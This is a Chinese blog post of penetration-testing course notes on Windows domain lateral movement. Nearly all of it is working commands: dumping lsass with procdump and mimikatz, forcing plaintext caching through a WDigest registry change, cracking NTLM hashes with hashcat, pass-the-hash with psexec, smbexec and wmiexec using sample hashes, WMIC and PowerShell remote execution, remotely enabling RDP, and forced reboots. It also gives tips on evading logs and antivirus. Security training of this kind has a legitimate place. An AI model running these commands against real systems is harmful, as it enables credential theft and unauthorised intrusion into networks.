67:内网安全-域横向smb&wmi明文或hash传递——注意:Windows 默认不会将 WMI 的操作记录在日志里,隐蔽性极强,EDR数据采集的时候注意

67:内网安全-域横向smb&wmi明文或hash传递

 

 

都是在围绕IPC进行域渗透!!!

 

思维导图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
 
针对以上情况,我们提供了4种方式解决此类问题
    1.利用哈希hash传递(pth,ptk等)进行移动
    2.利用其它服务协议(SMB,WMI等)进行哈希移动
    3.利用注册表操作开启Wdigest Auth值进行获取
    4.利用工具或第三方平台(Hachcat)进行破解获取
 
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
 
知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
 
#获取win密码hash的两个工具
Pwdump7
QuarksPwdump
 
知识点3:
域用户与本地用户的区别
比如,god/administrator是域用户,./administrator是本地用户

本课重点

  • 案例1:Procdump+Mimikatz配合获取
  • 案例2:Hashcat破解获取Windows NTML Hash
  • 案例3:域横向移动SMB服务利用-psexec,smbexec
  • 案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic
  • 案例5:域横向移动以上服务hash批量利用-python编译exe

案例1:Procdump+Mimikatz配合获取

Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合MS官方软件Procdump(注意:需要管理员权限),将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。==》弱密码检测也可以使用此策略!

  • Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
  • mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases
1
2
3
4
5
6
# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp
 
# mimikatz 在本地执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

案例演示-procdump配合mimikatz

<1>首先执行以下命令,在当前目录下生成lsass.dmp文件

1
procdump -accepteula -ma lsass.exe lsass.dmp

<2>然后mimikatz上执行以下命令,找到密码

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

==》在我自己的win11下,没有成功破解密码。但是有NTLM hash。

 

案例2:Hashcat破解获取Windows NTML Hash==》和linux那个jack破解工具一样,都是枚举,不过可以用密码字典

Hashcat下载:https://github.com/hashcat/hashcat

密码破解全能工具-Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

1
hashcat -a 0 -m 1000 hash file --force //爆破命令

案例3:域横向移动SMB服务利用-psexec,smbexec

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

psexec工具:

  • 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
  • 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。
  • Pstools官方工具包:
    • https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
  • impacket工具包:
    • https://gitee.com/RichChigga/impacket-examples-windows
    • https://github.com/SecureAuthCorp/impacket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#psexec第一种:先有ipc链接,psexec需要明文或hash传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行
 
#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
 
#smbexec工具:
#非官方自带-参考impacket工具包使用,操作简单,容易被杀
#smbexec无需先ipc链接 明文或hash传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

案例演示

<1>psexec第一种:先有ipc链接,psexec需要明文或hash传递

1
2
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行

<2>psexec第二种:不用建立IPC直接提供明文账户密码

1
2
3
4
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

明文密码,成功。

 

hash密码,报错。原因是微软官方Pstools工具包中的psexec无法采用hash连接,只能明文连接

 

如果需要hash连接的话,可以下载第三方的impacket工具包。但是impacket工具包也有缺点,那就是很有可能会被查杀。

<3>smbexec无需先ipc链接 明文或hash传递

1
第1种:smbexec god/administrator:Admin12345@192.168.3.21

1
第2种:smbexec ./administrator:admin!@#45@192.168.3.32

1
第3种:smbexec -hashes :$HASH$ ./admin@192.168.3.21

案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

1
2
3
4
5
6
7
8
9
10
11
#自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
 
#自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
 
#套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" ==》NTLM的hash

wmiexec.vbs脚本下载:

  • https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

案例演示

<1>自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显

1
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

<2>自带cscript 明文传递 有回显

1
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

<3>套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀

1
2
3
4
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

案例5:域横向移动以上服务hash批量利用-python编译exe

<1>mimikatz收集到密码hash(假设没收集到明文)

<2>探测同网段存活主机

<3>收集域用户名信息

<4>至此,我们已经收集到了IP,用户名,和密码hash。我们可以写一个python脚本批量利用。

脚本

编译成exe文件

1
pyinstaller.exe -F fuck_neiwang_001.py

执行exe文件,拿下192.168.3.29主机

在192.168.3.29主机运行minikatz,获取到一个新的密码hash(假设只找到了hash)

将新的hash加入到python脚本中,重新编译打包,执行exe文件,就有可能渗透到别的主机,甚至域控。

 

 

【内网学习笔记】22、PsExec 和 WMI 的使用

1、PsExec

PsExec.exe

PsExec 在之前的文章里提到过一次,参见,今天来着重学习一下。

PsExec 是 PSTools 工具包里的一部分,其下载地址为:

利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。

建立 ipc$ 连接

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
或者
net use \\192.168.7.7 /u:teamssix.com\administrator "1qaz@WSX"

在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限

PsExec.exe -accepteula \\192.168.7.7 -s cmd.exe
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

 

 

如果没有建立 ipc$ 连接,也可以直接使用 PsExec 指定用户名密码进行连接

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe
-u 域\用户名
-p 密码

或者执行以下命令直接回显命令结果

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe /c "ipconfig"

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

MSF

MSF 中也有 PsExec 的利用模块,使用方法如下:

use exploit/windows/smb/psexec
set rhost 192.168.7.7
set smbuser administrator
set smbpass 1qaz@WSX
run

2、WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立 IPC$ ,使用 type 读取执行结果

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
type \\192.168.7.7\C$\ip.txt

 

 

也可以预先建立 ipc$ 连接,再使用 wmic

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
wmic /node:192.168.7.7 process call create "cmd.exe /c ipconfig >c:\ip.txt"
type \\192.168.7.7\C$\ip.txt

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell

python3 wmiexec.py administrator:1qaz@WSX@192.168.7.7

 

 

wmiexec.py 还支持通过哈希传递获得 shell

python3 wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:

cscript //nologo wmiexec.vbs /shell 192.168.7.7 administrator 1qaz@WSX

 

 

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.7.7 administrator 1qaz@WSX "ipconfig"

因为这只是个半交互式的 Shell,因此对于运行时间比较长的命令,比如 ping、systeminfo 等,需要加上 -wait 5000 或更长的时间。

在运行 nc 等不需要输出结果但需要一直运行的进程时,可以使用 -persist 参数,当命令加了 -persist 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,这样就可以运行 nc 或者木马程序了。

不过目前 vmiexec.vbs 已经被卡巴斯基、赛门铁克等杀软列入查杀名单了。

Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名
$User = "teamssix.com\administrator" 

# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.7.7

# 将执行结果输出到屏幕上
$Remote.PayloadOutput

 

 

Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

# 指定目标系统用户名
$User="teamssix.com\administrator"

# 指定目标系统密码
$Password=ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.7.7" -Credential $Cred

 

 

可以看到在 192.168.7.7 主机中已经有进程 ID 为 3276 的 calc.exe 被执行了。

wmic 的其他命令

使用 wmic 远程开启目标的 RDP

# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1
或者
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

 

 

使用 wmic 远程重启目标计算机

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "shutdown.exe -r -f -t 0"

参考文章:

原文链接:

teamssix.com/210902-132326.html

posted @ 2022-02-20 18:45  bonelee  阅读(572)  评论(0编辑  收藏  举报